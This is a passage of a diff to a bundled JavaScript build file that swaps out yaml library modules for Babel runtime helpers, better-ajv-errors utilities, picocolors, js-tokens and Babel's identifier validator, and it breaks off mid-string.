init_buffer2(); + init_process2(); + function _iterableToArrayLimit(r8, l7) { + var t8 = null == r8 ? null : "undefined" != typeof Symbol && r8[Symbol.iterator] || r8["@@iterator"]; + if (null != t8) { + var e10, n7, i7, u7, a7 = [], f8 = true, o7 = false; + try { + if (i7 = (t8 = t8.call(r8)).next, 0 === l7) { + if (Object(t8) !== t8) + return; + f8 = false; + } else + for (; !(f8 = (e10 = i7.call(t8)).done) && (a7.push(e10.value), a7.length !== l7); f8 = true) + ; + } catch (r9) { + o7 = true, n7 = r9; + } finally { + try { + if (!f8 && null != t8["return"] && (u7 = t8["return"](), Object(u7) !== u7)) + return; + } finally { + if (o7) + throw n7; } - if (ctx.implicitKey) - return `${src} `; } - return src; + return a7; } - }; + } + module5.exports = _iterableToArrayLimit, module5.exports.__esModule = true, module5.exports["default"] = module5.exports; } }); -// node_modules/yaml/browser/dist/nodes/Scalar.js -var isScalarValue, Scalar; -var init_Scalar = __esm({ - "node_modules/yaml/browser/dist/nodes/Scalar.js"() { +// node_modules/@babel/runtime/helpers/nonIterableRest.js +var require_nonIterableRest = __commonJS({ + "node_modules/@babel/runtime/helpers/nonIterableRest.js"(exports28, module5) { init_dirname(); init_buffer2(); init_process2(); - init_identity(); - init_Node(); - init_toJS(); - isScalarValue = (value2) => !value2 || typeof value2 !== "function" && typeof value2 !== "object"; - Scalar = class extends NodeBase { - constructor(value2) { - super(SCALAR); - this.value = value2; - } - toJSON(arg, ctx) { - return ctx?.keep ? this.value : toJS(this.value, arg, ctx); - } - toString() { - return String(this.value); - } - }; - Scalar.BLOCK_FOLDED = "BLOCK_FOLDED"; - Scalar.BLOCK_LITERAL = "BLOCK_LITERAL"; - Scalar.PLAIN = "PLAIN"; - Scalar.QUOTE_DOUBLE = "QUOTE_DOUBLE"; - Scalar.QUOTE_SINGLE = "QUOTE_SINGLE"; + function _nonIterableRest() { + throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); + } + module5.exports = _nonIterableRest, module5.exports.__esModule = true, module5.exports["default"] = module5.exports; } }); -// node_modules/yaml/browser/dist/doc/createNode.js -function findTagObject(value2, tagName, tags6) { - if (tagName) { - const match = tags6.filter((t8) => t8.tag === tagName); - const tagObj = match.find((t8) => !t8.format) ?? match[0]; - if (!tagObj) - throw new Error(`Tag ${tagName} not found`); - return tagObj; - } - return tags6.find((t8) => t8.identify?.(value2) && !t8.format); -} -function createNode(value2, tagName, ctx) { - if (isDocument(value2)) - value2 = value2.contents; - if (isNode(value2)) - return value2; - if (isPair(value2)) { - const map4 = ctx.schema[MAP].createNode?.(ctx.schema, null, ctx); - map4.items.push(value2); - return map4; +// node_modules/@babel/runtime/helpers/slicedToArray.js +var require_slicedToArray = __commonJS({ + "node_modules/@babel/runtime/helpers/slicedToArray.js"(exports28, module5) { + init_dirname(); + init_buffer2(); + init_process2(); + var arrayWithHoles = require_arrayWithHoles(); + var iterableToArrayLimit = require_iterableToArrayLimit(); + var unsupportedIterableToArray = require_unsupportedIterableToArray(); + var nonIterableRest = require_nonIterableRest(); + function _slicedToArray(r8, e10) { + return arrayWithHoles(r8) || iterableToArrayLimit(r8, e10) || unsupportedIterableToArray(r8, e10) || nonIterableRest(); + } + module5.exports = _slicedToArray, module5.exports.__esModule = true, module5.exports["default"] = module5.exports; } - if (value2 instanceof String || value2 instanceof Number || value2 instanceof Boolean || typeof BigInt !== "undefined" && value2 instanceof BigInt) { - value2 = value2.valueOf(); +}); + +// node_modules/@readme/better-ajv-errors/lib/utils.js +var require_utils = __commonJS({ + "node_modules/@readme/better-ajv-errors/lib/utils.js"(exports28) { + "use strict"; + init_dirname(); + init_buffer2(); + init_process2(); + Object.defineProperty(exports28, "__esModule", { + value: true + }); + exports28.notUndefined = exports28.isRequiredError = exports28.isEnumError = exports28.isAnyOfError = exports28.getSiblings = exports28.getErrors = exports28.getChildren = exports28.concatAll = void 0; + var eq2 = function eq3(x7) { + return function(y7) { + return x7 === y7; + }; + }; + var not = function not2(fn) { + return function(x7) { + return !fn(x7); + }; + }; + var getValues = function getValues2(o7) { + return Object.values(o7); + }; + var notUndefined = exports28.notUndefined = function notUndefined2(x7) { + return x7 !== void 0; + }; + var isXError = function isXError2(x7) { + return function(error2) { + return error2.keyword === x7; + }; + }; + var isRequiredError = exports28.isRequiredError = isXError("required"); + var isAnyOfError = exports28.isAnyOfError = isXError("anyOf"); + var isEnumError = exports28.isEnumError = isXError("enum"); + var getErrors = exports28.getErrors = function getErrors2(node) { + return node && node.errors || []; + }; + var getChildren = exports28.getChildren = function getChildren2(node) { + return node && getValues(node.children) || []; + }; + var getSiblings = exports28.getSiblings = function getSiblings2(parent2) { + return function(node) { + return getChildren(parent2).filter(not(eq2(node))); + }; + }; + var concatAll = exports28.concatAll = /* :: */ + function concatAll2(xs) { + return function(ys) { + return ys.reduce(function(zs, z6) { + return zs.concat(z6); + }, xs); + }; + }; } - const { aliasDuplicateObjects, onAnchor, onTagObj, schema: schema8, sourceObjects } = ctx; - let ref = void 0; - if (aliasDuplicateObjects && value2 && typeof value2 === "object") { - ref = sourceObjects.get(value2); - if (ref) { - ref.anchor ?? (ref.anchor = onAnchor(value2)); - return new Alias(ref.anchor); - } else { - ref = { anchor: null, node: null }; - sourceObjects.set(value2, ref); +}); + +// node_modules/@babel/runtime/helpers/classCallCheck.js +var require_classCallCheck = __commonJS({ + "node_modules/@babel/runtime/helpers/classCallCheck.js"(exports28, module5) { + init_dirname(); + init_buffer2(); + init_process2(); + function _classCallCheck3(a7, n7) { + if (!(a7 instanceof n7)) + throw new TypeError("Cannot call a class as a function"); } + module5.exports = _classCallCheck3, module5.exports.__esModule = true, module5.exports["default"] = module5.exports; } - if (tagName?.startsWith("!!")) - tagName = defaultTagPrefix + tagName.slice(2); - let tagObj = findTagObject(value2, tagName, schema8.tags); - if (!tagObj) { - if (value2 && typeof value2.toJSON === "function") { - value2 = value2.toJSON(); +}); + +// node_modules/@babel/runtime/helpers/createClass.js +var require_createClass = __commonJS({ + "node_modules/@babel/runtime/helpers/createClass.js"(exports28, module5) { + init_dirname(); + init_buffer2(); + init_process2(); + var toPropertyKey = require_toPropertyKey(); + function _defineProperties3(e10, r8) { + for (var t8 = 0; t8 < r8.length; t8++) { + var o7 = r8[t8]; + o7.enumerable = o7.enumerable || false, o7.configurable = true, "value" in o7 && (o7.writable = true), Object.defineProperty(e10, toPropertyKey(o7.key), o7); + } } - if (!value2 || typeof value2 !== "object") { - const node2 = new Scalar(value2); - if (ref) - ref.node = node2; - return node2; + function _createClass3(e10, r8, t8) { + return r8 && _defineProperties3(e10.prototype, r8), t8 && _defineProperties3(e10, t8), Object.defineProperty(e10, "prototype", { + writable: false + }), e10; } - tagObj = value2 instanceof Map ? schema8[MAP] : Symbol.iterator in Object(value2) ? schema8[SEQ] : schema8[MAP]; + module5.exports = _createClass3, module5.exports.__esModule = true, module5.exports["default"] = module5.exports; } - if (onTagObj) { - onTagObj(tagObj); - delete ctx.onTagObj; +}); + +// node_modules/@babel/runtime/helpers/assertThisInitialized.js +var require_assertThisInitialized = __commonJS({ + "node_modules/@babel/runtime/helpers/assertThisInitialized.js"(exports28, module5) { + init_dirname(); + init_buffer2(); + init_process2(); + function _assertThisInitialized3(e10) { + if (void 0 === e10) + throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); + return e10; + } + module5.exports = _assertThisInitialized3, module5.exports.__esModule = true, module5.exports["default"] = module5.exports; } - const node = tagObj?.createNode ? tagObj.createNode(ctx.schema, value2, ctx) : typeof tagObj?.nodeClass?.from === "function" ? tagObj.nodeClass.from(ctx.schema, value2, ctx) : new Scalar(value2); - if (tagName) - node.tag = tagName; - else if (!tagObj.default) - node.tag = tagObj.tag; - if (ref) - ref.node = node; - return node; -} -var defaultTagPrefix; -var init_createNode = __esm({ - "node_modules/yaml/browser/dist/doc/createNode.js"() { +}); + +// node_modules/@babel/runtime/helpers/possibleConstructorReturn.js +var require_possibleConstructorReturn = __commonJS({ + "node_modules/@babel/runtime/helpers/possibleConstructorReturn.js"(exports28, module5) { init_dirname(); init_buffer2(); init_process2(); - init_Alias(); - init_identity(); - init_Scalar(); - defaultTagPrefix = "tag:yaml.org,2002:"; + var _typeof3 = require_typeof()["default"]; + var assertThisInitialized = require_assertThisInitialized(); + function _possibleConstructorReturn3(t8, e10) { + if (e10 && ("object" == _typeof3(e10) || "function" == typeof e10)) + return e10; + if (void 0 !== e10) + throw new TypeError("Derived constructors may only return object or undefined"); + return assertThisInitialized(t8); + } + module5.exports = _possibleConstructorReturn3, module5.exports.__esModule = true, module5.exports["default"] = module5.exports; } }); -// node_modules/yaml/browser/dist/nodes/Collection.js -function collectionFromPath(schema8, path2, value2) { - let v8 = value2; - for (let i7 = path2.length - 1; i7 >= 0; --i7) { - const k6 = path2[i7]; - if (typeof k6 === "number" && Number.isInteger(k6) && k6 >= 0) { - const a7 = []; - a7[k6] = v8; - v8 = a7; - } else { - v8 = /* @__PURE__ */ new Map([[k6, v8]]); +// node_modules/@babel/runtime/helpers/getPrototypeOf.js +var require_getPrototypeOf = __commonJS({ + "node_modules/@babel/runtime/helpers/getPrototypeOf.js"(exports28, module5) { + init_dirname(); + init_buffer2(); + init_process2(); + function _getPrototypeOf3(t8) { + return module5.exports = _getPrototypeOf3 = Object.setPrototypeOf ? Object.getPrototypeOf.bind() : function(t9) { + return t9.__proto__ || Object.getPrototypeOf(t9); + }, module5.exports.__esModule = true, module5.exports["default"] = module5.exports, _getPrototypeOf3(t8); } + module5.exports = _getPrototypeOf3, module5.exports.__esModule = true, module5.exports["default"] = module5.exports; } - return createNode(v8, void 0, { - aliasDuplicateObjects: false, - keepUndefined: false, - onAnchor: () => { - throw new Error("This should not happen, please report a bug."); - }, - schema: schema8, - sourceObjects: /* @__PURE__ */ new Map() - }); -} -var isEmptyPath, Collection; -var init_Collection = __esm({ - "node_modules/yaml/browser/dist/nodes/Collection.js"() { +}); + +// node_modules/@babel/runtime/helpers/setPrototypeOf.js +var require_setPrototypeOf = __commonJS({ + "node_modules/@babel/runtime/helpers/setPrototypeOf.js"(exports28, module5) { init_dirname(); init_buffer2(); init_process2(); - init_createNode(); - init_identity(); - init_Node(); - isEmptyPath = (path2) => path2 == null || typeof path2 === "object" && !!path2[Symbol.iterator]().next().done; - Collection = class extends NodeBase { - constructor(type3, schema8) { - super(type3); - Object.defineProperty(this, "schema", { - value: schema8, - configurable: true, - enumerable: false, - writable: true - }); - } - /** - * Create a copy of this collection. - * - * @param schema - If defined, overwrites the original's schema - */ - clone(schema8) { - const copy4 = Object.create(Object.getPrototypeOf(this), Object.getOwnPropertyDescriptors(this)); - if (schema8) - copy4.schema = schema8; - copy4.items = copy4.items.map((it2) => isNode(it2) || isPair(it2) ? it2.clone(schema8) : it2); - if (this.range) - copy4.range = this.range.slice(); - return copy4; - } - /** - * Adds a value to the collection. For `!!map` and `!!omap` the value must - * be a Pair instance or a `{ key, value }` object, which may not have a key - * that already exists in the map. - */ - addIn(path2, value2) { - if (isEmptyPath(path2)) - this.add(value2); - else { - const [key, ...rest2] = path2; - const node = this.get(key, true); - if (isCollection(node)) - node.addIn(rest2, value2); - else if (node === void 0 && this.schema) - this.set(key, collectionFromPath(this.schema, rest2, value2)); - else - throw new Error(`Expected YAML collection at ${key}. Remaining path: ${rest2}`); - } - } - /** - * Removes a value from the collection. - * @returns `true` if the item was found and removed. - */ - deleteIn(path2) { - const [key, ...rest2] = path2; - if (rest2.length === 0) - return this.delete(key); - const node = this.get(key, true); - if (isCollection(node)) - return node.deleteIn(rest2); - else - throw new Error(`Expected YAML collection at ${key}. Remaining path: ${rest2}`); - } - /** - * Returns item at `key`, or `undefined` if not found. By default unwraps - * scalar values from their surrounding node; to disable set `keepScalar` to - * `true` (collections are always returned intact). - */ - getIn(path2, keepScalar) { - const [key, ...rest2] = path2; - const node = this.get(key, true); - if (rest2.length === 0) - return !keepScalar && isScalar(node) ? node.value : node; - else - return isCollection(node) ? node.getIn(rest2, keepScalar) : void 0; - } - hasAllNullValues(allowScalar) { - return this.items.every((node) => { - if (!isPair(node)) - return false; - const n7 = node.value; - return n7 == null || allowScalar && isScalar(n7) && n7.value == null && !n7.commentBefore && !n7.comment && !n7.tag; - }); - } - /** - * Checks if the collection includes a value with the key `key`. - */ - hasIn(path2) { - const [key, ...rest2] = path2; - if (rest2.length === 0) - return this.has(key); - const node = this.get(key, true); - return isCollection(node) ? node.hasIn(rest2) : false; - } - /** - * Sets a value in this collection. For `!!set`, `value` needs to be a - * boolean to add/remove the item from the set. - */ - setIn(path2, value2) { - const [key, ...rest2] = path2; - if (rest2.length === 0) { - this.set(key, value2); - } else { - const node = this.get(key, true); - if (isCollection(node)) - node.setIn(rest2, value2); - else if (node === void 0 && this.schema) - this.set(key, collectionFromPath(this.schema, rest2, value2)); - else - throw new Error(`Expected YAML collection at ${key}. Remaining path: ${rest2}`); - } - } - }; + function _setPrototypeOf3(t8, e10) { + return module5.exports = _setPrototypeOf3 = Object.setPrototypeOf ? Object.setPrototypeOf.bind() : function(t9, e11) { + return t9.__proto__ = e11, t9; + }, module5.exports.__esModule = true, module5.exports["default"] = module5.exports, _setPrototypeOf3(t8, e10); + } + module5.exports = _setPrototypeOf3, module5.exports.__esModule = true, module5.exports["default"] = module5.exports; } }); -// node_modules/yaml/browser/dist/stringify/stringifyComment.js -function indentComment(comment, indent) { - if (/^\n+$/.test(comment)) - return comment.substring(1); - return indent ? comment.replace(/^(?! *$)/gm, indent) : comment; -} -var stringifyComment, lineComment; -var init_stringifyComment = __esm({ - "node_modules/yaml/browser/dist/stringify/stringifyComment.js"() { +// node_modules/@babel/runtime/helpers/inherits.js +var require_inherits = __commonJS({ + "node_modules/@babel/runtime/helpers/inherits.js"(exports28, module5) { init_dirname(); init_buffer2(); init_process2(); - stringifyComment = (str2) => str2.replace(/^(?!$)(?: $)?/gm, "#"); - lineComment = (str2, indent, comment) => str2.endsWith("\n") ? indentComment(comment, indent) : comment.includes("\n") ? "\n" + indentComment(comment, indent) : (str2.endsWith(" ") ? "" : " ") + comment; + var setPrototypeOf = require_setPrototypeOf(); + function _inherits3(t8, e10) { + if ("function" != typeof e10 && null !== e10) + throw new TypeError("Super expression must either be null or a function"); + t8.prototype = Object.create(e10 && e10.prototype, { + constructor: { + value: t8, + writable: true, + configurable: true + } + }), Object.defineProperty(t8, "prototype", { + writable: false + }), e10 && setPrototypeOf(t8, e10); + } + module5.exports = _inherits3, module5.exports.__esModule = true, module5.exports["default"] = module5.exports; } }); -// node_modules/yaml/browser/dist/stringify/foldFlowLines.js -function foldFlowLines(text, indent, mode = "flow", { indentAtStart, lineWidth = 80, minContentWidth = 20, onFold, onOverflow } = {}) { - if (!lineWidth || lineWidth < 0) - return text; - if (lineWidth < minContentWidth) - minContentWidth = 0; - const endStep = Math.max(1 + minContentWidth, 1 + lineWidth - indent.length); - if (text.length <= endStep) - return text; - const folds = []; - const escapedFolds = {}; - let end = lineWidth - indent.length; - if (typeof indentAtStart === "number") { - if (indentAtStart > lineWidth - Math.max(2, minContentWidth)) - folds.push(0); - else - end = lineWidth - indentAtStart; +// node_modules/picocolors/picocolors.browser.js +var require_picocolors_browser = __commonJS({ + "node_modules/picocolors/picocolors.browser.js"(exports28, module5) { + init_dirname(); + init_buffer2(); + init_process2(); + var x7 = String; + var create2 = function() { + return { isColorSupported: false, reset: x7, bold: x7, dim: x7, italic: x7, underline: x7, inverse: x7, hidden: x7, strikethrough: x7, black: x7, red: x7, green: x7, yellow: x7, blue: x7, magenta: x7, cyan: x7, white: x7, gray: x7, bgBlack: x7, bgRed: x7, bgGreen: x7, bgYellow: x7, bgBlue: x7, bgMagenta: x7, bgCyan: x7, bgWhite: x7, blackBright: x7, redBright: x7, greenBright: x7, yellowBright: x7, blueBright: x7, magentaBright: x7, cyanBright: x7, whiteBright: x7, bgBlackBright: x7, bgRedBright: x7, bgGreenBright: x7, bgYellowBright: x7, bgBlueBright: x7, bgMagentaBright: x7, bgCyanBright: x7, bgWhiteBright: x7 }; + }; + module5.exports = create2(); + module5.exports.createColors = create2; } - let split3 = void 0; - let prev = void 0; - let overflow = false; - let i7 = -1; - let escStart = -1; - let escEnd = -1; - if (mode === FOLD_BLOCK) { - i7 = consumeMoreIndentedLines(text, i7, indent.length); - if (i7 !== -1) - end = i7 + endStep; +}); + +// node_modules/js-tokens/index.js +var require_js_tokens = __commonJS({ + "node_modules/js-tokens/index.js"(exports28) { + init_dirname(); + init_buffer2(); + init_process2(); + Object.defineProperty(exports28, "__esModule", { + value: true + }); + exports28.default = /((['"])(?:(?!\2|\\).|\\(?:\r\n|[\s\S]))*(\2)?|`(?:[^`\\$]|\\[\s\S]|\$(?!\{)|\$\{(?:[^{}]|\{[^}]*\}?)*\}?)*(`)?)|(\/\/.*)|(\/\*(?:[^*]|\*(?!\/))*(\*\/)?)|(\/(?!\*)(?:\[(?:(?![\]\\]).|\\.)*\]|(?![\/\]\\]).|\\.)+\/(?:(?!\s*(?:\b|[\u0080-\uFFFF$\\'"~({]|[+\-!](?!=)|\.?\d))|[gmiyus]{1,6}\b(?![\u0080-\uFFFF$\\]|\s*(?:[+\-*%&|^<>!=?({]|\/(?![\/*])))))|(0[xX][\da-fA-F]+|0[oO][0-7]+|0[bB][01]+|(?:\d*\.\d+|\d+\.?)(?:[eE][+-]?\d+)?)|((?!\d)(?:(?!\s)[$\w\u0080-\uFFFF]|\\u[\da-fA-F]{4}|\\u\{[\da-fA-F]+\})+)|(--|\+\+|&&|\|\||=>|\.{3}|(?:[+\-\/%&|^]|\*{1,2}|<{1,2}|>{1,3}|!=?|={1,2})=?|[?~.,:;[\](){}])|(\s+)|(^$|[\s\S])/g; + exports28.matchToToken = function(match) { + var token = { type: "invalid", value: match[0], closed: void 0 }; + if (match[1]) + token.type = "string", token.closed = !!(match[3] || match[4]); + else if (match[5]) + token.type = "comment"; + else if (match[6]) + token.type = "comment", token.closed = !!match[7]; + else if (match[8]) + token.type = "regex"; + else if (match[9]) + token.type = "number"; + else if (match[10]) + token.type = "name"; + else if (match[11]) + token.type = "punctuator"; + else if (match[12]) + token.type = "whitespace"; + return token; + }; } - for (let ch; ch = text[i7 += 1]; ) { - if (mode === FOLD_QUOTED && ch === "\\") { - escStart = i7; - switch (text[i7 + 1]) { - case "x": - i7 += 3; - break; - case "u": - i7 += 5; - break; - case "U": - i7 += 9; - break; - default: - i7 += 1; +}); + +// node_modules/@babel/helper-validator-identifier/lib/identifier.js +var require_identifier = __commonJS({ + "node_modules/@babel/helper-validator-identifier/lib/identifier.js"(exports28) { + "use strict"; + init_dirname(); + init_buffer2(); + init_process2(); + Object.defineProperty(exports28, "__esModule", { + value: true + }); + exports28.isIdentifierChar = isIdentifierChar; + exports28.isIdentifierName = isIdentifierName; + exports28.isIdentifierStart = isIdentifierStart; + var nonASCIIidentifierStartChars = "\xAA\xB5\xBA\xC0-\xD6\xD8-\xF6\xF8-\u02C1\u02C6-\u02D1\u02E0-\u02E4\u02EC\u02EE\u0370-\u0374\u0376\u0377\u037A-\u037D\u037F\u0386\u0388-\u038A\u038C\u038E-\u03A1\u03A3-\u03F5\u03F7-\u0481\u048A-\u052F\u0531-\u0556\u0559\u0560-\u0588\u05D0-\u05EA\u05EF-\u05F2\u0620-\u064A\u066E\u066F\u0671-\u06D3\u06D5\u06E5\u06E6\u06EE\u06EF\u06FA-\u06FC\u06FF\u0710\u0712-\u072F\u074D-\u07A5\u07B1\u07CA-\u07EA\u07F4\u07F5\u07FA\u0800-\u0815\u081A\u0824\u0828\u0840-\u0858\u0860-\u086A\u0870-\u0887\u0889-\u088E\u08A0-\u08C9\u0904-\u0939\u093D\u0950\u0958-\u0961\u0971-\u0980\u0985-\u098C\u098F\u0990\u0993-\u09A8\u09AA-\u09B0\u09B2\u09B6-\u09B9\u09BD\u09CE\u09DC\u09DD\u09DF-\u09E1\u09F0\u09F1\u09FC\u0A05-\u0A0A\u0A0F\u0A10\u0A13-\u0A28\u0A2A-\u0A30\u0A32\u0A33\u0A35\u0A36\u0A38\u0A39\u0A59-\u0A5C\u0A5E\u0A72-\u0A74\u0A85-\u0A8D\u0A8F-\u0A91\u0A93-\u0AA8\u0AAA-\u0AB0\u0AB2\u0AB3\u0AB5-\u0AB9\u0ABD\u0AD0\u0AE0\u0AE1\u0AF9\u0B05-\u0B0C\u0B0F\u0B10\u0B13-\u0B28\u0B2A-\u0B30\u0B32\u0B33\u0B35-\u0B39\u0B3D\u0B5C\u0B5D\u0B5F-\u0B61\u0B71\u0B83\u0B85-\u0B8A\u0B8E-\u0B90\u0B92-\u0B95\u0B99\u0B9A\u0B9C\u0B9E\u0B9F\u0BA3\u0BA4\u0BA8-\u0BAA\u0BAE-\u0BB9\u0BD0\u0C05-\u0C0C\u0C0E-\u0C10\u0C12-\u0C28\u0C2A-\u0C39\u0C3D\u0C58-\u0C5A\u0C5D\u0C60\u0C61\u0C80\u0C85-\u0C8C\u0C8E-\u0C90\u0C92-\u0CA8\u0CAA-\u0CB3\u0CB5-\u0CB9\u0CBD\u0CDD\u0CDE\u0CE0\u0CE1\u0CF1\u0CF2\u0D04-\u0D0C\u0D0E-\u0D10\u0D12-\u0D3A\u0D3D\u0D4E\u0D54-\u0D56\u0D5F-\u0D61\u0D7A-\u0D7F\u0D85-\u0D96\u0D9A-\u0DB1\u0DB3-\u0DBB\u0DBD\u0DC0-\u0DC6\u0E01-\u0E30\u0E32\u0E33\u0E40-\u0E46\u0E81\u0E82\u0E84\u0E86-\u0E8A\u0E8C-\u0EA3\u0EA5\u0EA7-\u0EB0\u0EB2\u0EB3\u0EBD\u0EC0-\u0EC4\u0EC6\u0EDC-\u0EDF\u0F00\u0F40-\u0F47\u0F49-\u0F6C\u0F88-\u0F8C\u1000-\u102A\u103F\u1050-\u1055\u105A-\u105D\u1061\u1065\u1066\u106E-\u1070\u1075-\u1081\u108E\u10A0-\u10C5\u10C7\u10CD\u10D0-\u10FA\u10FC-\u1248\u124A-\u124D\u1250-\u1256\u1258\u125A-\u125D\u1260-\u1288\u128A-\u128D\u1290-\u12B0\u12B2-\u12B5\u12B8-\u12BE\u12C0\u12C2-\u12C5\u12C8-\u12D6\u12D8-\u1310\u1312-\u1315\u1318-\u135A\u1380-\u138F\u13A0-\u13F5\u13F8-\u13FD\u1401-\u166C\u166F-\u167F\u1681-\u169A\u16A0-\u16EA\u16EE-\u16F8\u1700-\u1711\u171F-\u1731\u1740-\u1751\u1760-\u176C\u176E-\u1770\u1780-\u17B3\u17D7\u17DC\u1820-\u1878\u1880-\u18A8\u18AA\u18B0-\u18F5\u1900-\u191E\u1950-\u196D\u1970-\u1974\u1980-\u19AB\u19B0-\u19C9\u1A00-\u1A16\u1A20-\u1A54\u1AA7\u1B05-\u1B33\u1B45-\u1B4C\u1B83-\u1BA0\u1BAE\u1BAF\u1BBA-\u1BE5\u1C00-\u1C23\u1C4D-\u1C4F\u1C5A-\u1C7D\u1C80-\u1C8A\u1C90-\u1CBA\u1CBD-\u1CBF\u1CE9-\u1CEC\u1CEE-\u1CF3\u1CF5\u1CF6\u1CFA\u1D00-\u1DBF\u1E00-\u1F15\u1F18-\u1F1D\u1F20-\u1F45\u1F48-\u1F4D\u1F50-\u1F57\u1F59\u1F5B\u1F5D\u1F5F-\u1F7D\u1F80-\u1FB4\u1FB6-\u1FBC\u1FBE\u1FC2-\u1FC4\u1FC6-\u1FCC\u1FD0-\u1FD3\u1FD6-\u1FDB\u1FE0-\u1FEC\u1FF2-\u1FF4\u1FF6-\u1FFC\u2071\u207F\u2090-\u209C\u2102\u2107\u210A-\u2113\u2115\u2118-\u211D\u2124\u2126\u2128\u212A-\u2139\u213C-\u213F\u2145-\u2149\u214E\u2160-\u2188\u2C00-\u2CE4\u2CEB-\u2CEE\u2CF2\u2CF3\u2D00-\u2D25\u2D27\u2D2D\u2D30-\u2D67\u2D6F\u2D80-\u2D96\u2DA0-\u2DA6\u2DA8-\u2DAE\u2DB0-\u2DB6\u2DB8-\u2DBE\u2DC0-\u2DC6\u2DC8-\u2DCE\u2DD0-\u2DD6\u2DD8-\u2DDE\u3005-\u3007\u3021-\u3029\u3031-\u3035\u3038-\u303C\u3041-\u3096\u309B-\u309F\u30A1-\u30FA\u30FC-\u30FF\u3105-\u312F\u3131-\u318E\u31A0-\u31BF\u31F0-\u31FF\u3400-\u4DBF\u4E00-\uA48C\uA4D0-\uA4FD\uA500-\uA60C\uA610-\uA61F\uA62A\uA62B\uA640-\uA66E\uA67F-\uA69D\uA6A0-\uA6EF\uA717-\uA71F\uA722-\uA788\uA78B-\uA7CD\uA7D0\uA7D1\uA7D3\uA7D5-\uA7DC\uA7F2-\uA801\uA803-\uA805\uA807-\uA80A\uA80C-\uA822\uA840-\uA873\uA882-\uA8B3\uA8F2-\uA8F7\uA8FB\uA8FD\uA8FE\uA90A-\uA925\uA930-\uA946\uA960-\uA97C\uA984-\uA9B2\uA9CF\uA9E0-\uA9E4\uA9E6-\uA9EF\uA9FA-\uA9FE\uAA00-\uAA28\uAA40-\uAA42\uAA44-\uAA4B\uAA60-\uAA76\uAA7A\uAA7E-\uAAAF\uAAB1\uAAB5\uAAB6\uAAB9-\uAABD\uAAC0\uAAC2\uAADB-\uAADD\uAAE0-\uAAEA\uAAF2-\uAAF4\uAB01-\uAB06\uAB09-\uAB0E\uAB11-\uAB16\uAB20-\uAB26\uAB28-\uAB2E\uAB30-\uAB5A\uAB5C-\uAB69\uAB70-\uABE2\uAC00-\uD7A3\uD7B0-\uD7C6\uD7CB-\uD7FB\uF900-\uFA6D\uFA70-\uFAD9\uFB00-\uFB06\uFB13-\uFB17\uFB1D\uFB1F-\uFB28\uFB2A-\uFB36\uFB38-\uFB3C\uFB3E\uFB40\uFB41\uFB43\uFB44\uFB46-\uFBB1\uFBD3-\uFD3D\uFD50-\uFD8F\uFD92-\uFDC7\uFDF0-\uFDFB\uFE70-\uFE74\uFE76-\uFEFC\uFF21-\uFF3A\uFF41-\uFF5A\uFF66-\uFFBE\uFFC2-\uFFC7\uFFCA-\uFFCF\uFFD2-\uFFD7\uFFDA-\uFFDC"; + var nonASCIIidentifierChars = "\xB7\u0300-\u036F\u0387\u0483-\u0487\u0591-\u05BD\u05BF\u05C1\u05C2\u05C4\u05C5\u05C7\u0610-\u061A\u064B-\u0669\u0670\u06D6-\u06DC\u06DF-\u06E4\u06E7\u06E8\u06EA-\u06ED\u06F0-\u06F9\u0711\u0730-\u074A\u07A6-\u07B0\u07C0-\u07C9\u07EB-\u07F3\u07FD\u0816-\u0819\u081B-\u0823\u0825-\u0827\u0829-\u082D\u0859-\u085B\u0897-\u089F\u08CA-\u08E1\u08E3-\u0903\u093A-\u093C\u093E-\u094F\u0951-\u0957\u0962\u0963\u0966-\u096F\u0981-\u0983\u09BC\u09BE-\u09C4\u09C7\u09C8\u09CB-\u09CD\u09D7\u09E2\u09E3\u09E6-\u09EF\u09FE\u0A01-\u0A03\u0A3C\u0A3E-\u0A42\u0A47\u0A48\u0A4B-\u0A4D\u0A51\u0A66-\u0A71\u0A75\u0A81-\u0A83\u0ABC\u0ABE-\u0AC5\u0AC7-\u0AC9\u0ACB-\u0ACD\u0AE2\u0AE3\u0AE6-\u0AEF\u0AFA-\u0AFF\u0B01-\u0B03\u0B3C\u0B3E-\u0B44\u0B47\u0B48\u0B4B-\u0B4D\u0B55-\u0B57\u0B62\u0B63\u0B66-\u0B6F\u0B82\u0BBE-\u0BC2\u0BC6-\u0BC8\u0BCA-\u0BCD\u0BD7\u0BE6-\u0BEF\u0C00-\u0C04\u0C3C\u0C3E-\u0C44\u0C46-\u0C48\u0C4A-\u0C4D\u0C55\u0C56\u0C62\u0C63\u0C66-\u0C6F\u0C81-\u0C83\u0CBC\u0CBE-\u0CC4\u0CC6-\u0CC8\u0CCA-\u0CCD\u0CD5\u0CD6\u0CE2\u0CE3\u0CE6-\u0CEF\u0CF3\u0D00-\u0D03\u0D3B\u0D3C\u0D3E-\u0D44\u0D46-\u0D48\u0D4A-\u0D4D\u0D57\u0D62\u0D63\u0D66-\u0D6F\u0D81-\u0D83\u0DCA\u0DCF-\u0DD4\u0DD6\u0DD8-\u0DDF\u0DE6-\u0DEF\u0DF2\u0DF3\u0E31\u0E34-\u0E3A\u0E47-\u0E4E\u0E50-\u0E59\u0EB1\u0EB4-\u0EBC\u0EC8-\u0ECE\u0ED0-\u0ED9\u0F18\u0F19\u0F20-\u0F29\u0F35\u0F37\u0F39\u0F3E\u0F3F\u0F71-\u0F84\u0F86\u0F87\u0F8D-\u0F97\u0F99-\u0FBC\u0FC6\u102B-\u103E\u1040-\u1049\u1056-\u1059\u105E-\u1060\u1062-\u1064\u1067-\u106D\u1071-\u1074\u1082-\u108D\u108F-\u109D\u135D-\u135F\u1369-\u1371\u1712-\u1715\u1732-\u1734\u1752\u1753\u1772\u1773\u17B4-\u17D3\u17DD\u17E0-\u17E9\u180B-\u180D\u180F-\u1819\u18A9\u1920-\u192B\u1930-\u193B\u1946-\u194F\u19D0-\u19DA\u1A17-\u1A1B\u1A55-\u1A5E\u1A60-\u1A7C\u1A7F-\u1A89\u1A90-\u1A99\u1AB0-\u1ABD\u1ABF-\u1ACE\u1B00-\u1B04\u1B34-\u1B44\u1B50-\u1B59\u1B6B-\u1B73\u1B80-\u1B82\u1BA1-\u1BAD\u1BB0-\u1BB9\u1BE6-\u1BF3\u1C24-\u1C37\u1C40-\u1C49\u1C50-\u1C59\u1CD0-\u1CD2\u1CD4-\u1CE8\u1CED\u1CF4\u1CF7-\u1CF9\u1DC0-\u1DFF\u200C\u200D\u203F\u2040\u2054\u20D0-\u20DC\u20E1\u